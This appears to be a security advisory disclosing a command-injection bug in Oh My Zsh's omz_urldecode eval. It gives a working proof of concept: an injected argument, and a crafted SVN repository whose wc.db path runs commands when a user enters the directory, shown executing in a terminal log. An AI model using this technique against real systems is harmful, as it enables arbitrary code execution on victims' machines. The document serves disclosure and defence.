In Oh My Zsh, there is a function called omz_urldecode
, which is used to decode URLs. Since this function is using eval
with user inputs without any sanitization, itโs possible to inject arbitrary commands into the eval context, which allows an attacker to achieve the command injection.
Some official themes are using this function via svn_prompt_info
, so itโs possible to execute arbitrary commands once someone changed their current directory to the malicious SVN repository.
1โ. Open Oh My Zsh in your terminal.
2โ. Execute omz_urldecode "test'+id+&&+echo+'pwned'+&&+touch+'/tmp/pwned"
.
3โ. id && echo 'pwned' && touch /tmp/pwned
will be executed.
1โ. Install subversion
and sqlite3
.
2โ. Create a new repository in /tmp/svn
: svnadmin create /tmp/svn
3โ. Create a new directory named repo
in /tmp
and change the current directory: mkdir /tmp/repo && cd /tmp/repo
4โ. Checkout the repository: svn co file:///tmp/svn /tmp/repo
5โ. Open .svn/wc.db
with sqlite3
: sqlite3 .svn/wc.db
6โ. Update the repository URL: update NODES set repos_path="test'+id+&&+echo+'pwned'+&&+touch+'/tmp/pwned" where local_relpath="";
7โ. Quit sqlite3
: .exit
โ
1โ. Open ~/.zshrc
with a text editor.
2โ. Set ZSH_THEME
to minimal
: ZSH_THEME="minimal"
3โ. Add svn
to plugins
: plugins=(git svn)
4โ. Restart Oh My Zsh, and apply the configuration.
5โ. Change the current directory to /tmp/repo
: cd /tmp/repo
6โ. id && echo 'pwned' && touch /tmp/pwned
will be executed.
โ
โ / ls -la /tmp/pwned
ls: cannot access '/tmp/pwned': No such file or directory
โ / svnadmin create /tmp/svn
โ / mkdir /tmp/repo && cd /tmp/repo
โ repo svn co file:///tmp/svn /tmp/repo
Checked out revision 0.
โ repo sqlite3 .svn/wc.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> update NODES set repos_path="test'+id+&&+echo+'pwned'+&&+touch+'/tmp/pwned" where local_relpath="";
sqlite> .exit
โ repo cd /
โ / vim ~/.zshrc
โ / zsh
/ ยป cd /tmp/repo
/tmp/repo [uid=0(root) gid=0(root) groups=0(root)
pwned] ยป ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Nov 2 04:21 /tmp/pwned
/tmp/repo [uid=0(root) gid=0(root) groups=0(root)
pwned] ยป
As omz_urldecode
function itself is intended to be used in the plugins/functions, it may allow an attacker to achieve remote code execution, depends on how themes/plugins use this function.